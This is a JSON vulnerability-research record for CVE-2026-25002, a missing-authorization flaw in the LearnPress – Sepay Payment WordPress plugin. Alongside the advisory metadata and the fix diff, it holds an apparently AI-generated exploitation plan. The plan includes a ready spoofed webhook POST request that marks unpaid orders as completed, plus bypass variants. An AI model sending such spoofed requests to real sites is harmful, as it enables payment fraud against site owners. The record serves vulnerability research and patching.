[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fIV2h6UvXTx3f-2IydPA-IH_C7UMmK0Apcfqgn3eEblU":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":27,"research_verified":28,"research_rounds_completed":29,"research_plan":30,"research_summary":31,"research_vulnerable_code":32,"research_fix_diff":33,"research_exploit_outline":34,"research_model_used":35,"research_started_at":36,"research_completed_at":37,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":28,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":28,"source_links":38},"CVE-2026-25002","learnpress-sepay-payment-missing-authorization","LearnPress – Sepay Payment \u003C= 4.0.0 - Missing Authorization","The LearnPress – Sepay Payment plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 4.0.0. This makes it possible for unauthenticated attackers to perform an unauthorized action.","learnpress-sepay-payment",null,"\u003C=4.0.0","4.0.1","low",3.7,"CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-03-16 00:00:00","2026-03-27 20:53:31",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F72abfbcf-4be4-4e0a-89a7-94caa01c22a6?source=api-prod",12,[22,23,24,25,26],"assets\u002Fimages\u002Fsepay-blue-logo.svg","assets\u002Fstyles\u002Fsepay.css","config\u002Fbanks.php","config\u002Fsettings.php","inc\u002Fclass-lp-gateway-sepay.php","researched",false,3,"# Exploitation Research Plan: LearnPress – Sepay Payment \u003C= 4.0.0 - Missing Authorization\n\n## 1. Vulnerability Summary\nThe **LearnPress – Sepay Payment** plugin for WordPress (up to version 4.0.0) contains a **Missing Authorization** vulnerability in its REST API webhook handler. The plugin registers a REST route `learnpress-sepay\u002Fv1\u002Flisten-webhook` to receive payment notifications from the Sepay gateway. Due to a failure to properly enforce authentication or validate the `api_key` (specifically when the key is unset or empty), unauthenticated attackers can spoof payment notifications. \n\nThe core of the issue likely resides in `LP_Gateway_Sepay::is_apikey()`, which uses `str_contains()`. If the administrator has not configured an API key, the check can be bypassed, allowing attackers to manipulate order statuses.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-json\u002Flearnpress-sepay\u002Fv1\u002Flisten-webhook`\n- **Method:** `POST`\n- **Authentication:** Unauthenticated (Missing\u002FWeak `permission_callback` and weak API key validation).\n- **Vulnerable Parameter:** The JSON body of the POST request, specifically the `content` field containing the Order ID.\n- **Precondition:** The vulnerability is most exploitable when the \"API Key for webhook\" is empty or when the plugin fails to verify the presence of the `Authorization` header before passing it to `is_apikey()`.\n\n## 3. Code Flow\n1. **Route Registration:** The plugin (likely in `inc\u002Fclass-lp-addon-sepay-payment-preload.php` or similar initialization code) registers the route `learnpress-sepay\u002Fv1\u002Flisten-webhook` using `register_rest_route`.\n2. **Missing Permission Check:** The `permission_callback` for this route is likely set to `__return_true`, relying on internal function logic for security.\n3. **Internal Logic:** The handler retrieves the `Authorization` header and passes it to `LP_Gateway_Sepay::is_apikey(string $authorization)`.\n4. **Weak Validation:** \n   ```php\n   \u002F\u002F From inc\u002Fclass-lp-gateway-sepay.php\n   public function is_apikey( string $authorization ) {\n       return str_contains( $authorization, $this->apikey );\n   }\n   ```\n   If `$this->apikey` is empty (default state or not yet configured), `str_contains($authorization, '')` returns `true` in PHP 8+, effectively bypassing the check.\n5. **Processing:** The handler then parses the JSON body. It extracts the transaction \"content\" (e.g., \"DH123\"), strips the prefix (\"DH\"), and finds the LearnPress order (ID 123). It then marks this order as paid\u002Fcompleted.\n\n## 4. Nonce Acquisition Strategy\nThe target endpoint is a **REST API Webhook**. Webhooks are designed to be called by external services (Sepay servers) and typically **do not require WordPress CSRF nonces** because they do not rely on cookie-based authentication.\n\n- **Check Requirement:** If the REST API was registered with `permission_callback => '__return_true'`, no nonce is required for the `POST` request.\n- **Verification:** Attempting a `POST` request without an `X-WP-Nonce` header. If the response is not a 403 \"rest_cookie_invalid\", the endpoint is accessible without a nonce.\n\n## 5. Exploitation Strategy\nThe goal is to mark a pending LearnPress order as \"Completed\" by sending a spoofed Sepay webhook notification.\n\n### Step-by-Step Plan:\n1. **Identify Order ID and Prefix:** Create a LearnPress order as a guest\u002Fstudent. Note the Order ID (e.g., `15`) and the prefix defined in settings (default is `DH` per `config\u002Fsettings.php`).\n2. **Identify Webhook URL:** The endpoint is `\u002Fwp-json\u002Flearnpress-sepay\u002Fv1\u002Flisten-webhook`.\n3. **Craft Spoofed Payload:** Create a JSON payload mimicking the Sepay webhook format.\n4. **Execute Attack:** Send a `POST` request to the webhook URL.\n\n### HTTP Request (via `http_request` tool):\n```http\nPOST \u002Fwp-json\u002Flearnpress-sepay\u002Fv1\u002Flisten-webhook HTTP\u002F1.1\nHost: TARGET_HOST\nContent-Type: application\u002Fjson\nAuthorization: Bearer any_string_or_empty\n\n{\n  \"id\": 9999999,\n  \"gateway\": \"Vietcombank\",\n  \"transactionDate\": \"2025-01-01 10:00:00\",\n  \"accountNumber\": \"0011000123456\",\n  \"transferType\": \"in\",\n  \"transferAmount\": 1000,\n  \"accumulated\": 1000,\n  \"content\": \"DH15\",\n  \"referenceCode\": \"SPOOFED123\",\n  \"description\": \"Spoofed Payment\"\n}\n```\n*Note: Replace `DH15` with the actual prefix and Order ID.*\n\n## 6. Test Data Setup\n1. **Plugin Configuration:**\n   - Install and activate **LearnPress**.\n   - Install and activate **LearnPress – Sepay Payment**.\n   - Go to `LearnPress > Settings > Payments > Sepay`. \n   - Set **Enable** to `yes`.\n   - Ensure **API Key for webhook** is left blank (simulating an unconfigured or default setup).\n2. **Content Setup:**\n   - Create a dummy course with a price (e.g., $10).\n3. **Order Creation:**\n   - Use the `browser_navigate` tool to visit the course page.\n   - Click \"Buy Now\" and proceed to checkout.\n   - Select \"Sepay\" as the payment method.\n   - Place the order.\n   - Note the resulting Order ID from the URL or page content (e.g., `Order #15`).\n\n## 7. Expected Results\n- **HTTP Response:** The REST API should return a `200 OK` (possibly with a JSON success message from the plugin).\n- **State Change:** The LearnPress order status should change from `Pending` (or `Processing`) to `Completed`.\n- **Course Access:** The student user should now have \"Enrolled\" access to the course without having performed a real bank transfer.\n\n## 8. Verification Steps\n1. **WP-CLI Status Check:**\n   ```bash\n   wp post list --post_type=lp_order --post_status=lp-completed\n   ```\n   Check if the Order ID created in \"Test Data Setup\" now appears with the `lp-completed` status.\n2. **User Enrollment Check:**\n   ```bash\n   wp user list --role=subscriber\n   # Then check if the user has the 'enrolled-course' meta or check via LearnPress tables:\n   wp db query \"SELECT * FROM wp_learnpress_user_items WHERE item_id = [COURSE_ID] AND user_id = [USER_ID]\"\n   ```\n\n## 9. Alternative Approaches\nIf the `Authorization` header is strictly required even when the key is empty:\n- Try sending `Authorization: Bearer ` (space at the end).\n- Try sending `Authorization: ` (empty header).\n\nIf the `str_contains` check is not the primary flaw:\n- Analyze the `permission_callback` using `wp-cli` to see if it is truly `__return_true`.\n- Test if the order prefix is ignored or if the order ID can be passed in other fields (e.g., `description`).\n- If the `AC:H` (High Complexity) in the CVSS vector refers to something else, investigate if a specific \"Bank\" must be selected in settings for the REST route to be active.","The LearnPress – Sepay Payment plugin is vulnerable to unauthenticated payment spoofing due to a weak authorization check in its REST API webhook handler. When the webhook API key is not configured (leaving it empty), the check using str_contains() returns true for any authorization header, allowing attackers to mark LearnPress orders as completed without actual payment.","\u002F\u002F inc\u002Fclass-lp-gateway-sepay.php line 147\n\u002F**\n * Check API key\n *\n * @param  string $authorization Sepay Authorization String\n * @return boolean\n *\u002F\npublic function is_apikey( string $authorization ) {\n\treturn str_contains( $authorization, $this->apikey );\n}","--- inc\u002Fclass-lp-gateway-sepay.php\n+++ inc\u002Fclass-lp-gateway-sepay.php\n@@ -148,5 +148,8 @@\n \t\t *\u002F\n \t\tpublic function is_apikey( string $authorization ) {\n-\t\t\treturn str_contains( $authorization, $this->apikey );\n+\t\t\tif ( empty( $this->apikey ) ) {\n+\t\t\t\treturn false;\n+\t\t\t}\n+\t\t\treturn str_contains( $authorization, $this->apikey );\n \t\t}","1. Identify a target LearnPress order ID and its prefix (default is 'DH').\n2. Locate the webhook endpoint at `\u002Fwp-json\u002Flearnpress-sepay\u002Fv1\u002Flisten-webhook`.\n3. Craft a POST request to this endpoint with a JSON payload mimicking a Sepay transaction. Ensure the 'content' field contains the concatenated prefix and order ID (e.g., 'DH15').\n4. Include an 'Authorization' header (e.g., 'Bearer spoofed'). \n5. If the site administrator has not configured a specific API key, the vulnerable `is_apikey` function will perform `str_contains('Bearer spoofed', '')`, which returns true in PHP 8+.\n6. The plugin processes the payload, extracts the order ID, and updates the order status to 'Completed', granting the attacker access to the course.","gemini-3-flash-preview","2026-04-18 03:36:05","2026-04-18 03:37:10",{"type":39,"vulnerable_version":40,"fixed_version":11,"vulnerable_browse":41,"vulnerable_zip":42,"fixed_browse":43,"fixed_zip":44,"all_tags":45},"plugin","4.0.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flearnpress-sepay-payment\u002Ftags\u002F4.0.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Flearnpress-sepay-payment.4.0.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flearnpress-sepay-payment\u002Ftags\u002F4.0.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Flearnpress-sepay-payment.4.0.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flearnpress-sepay-payment\u002Ftags"]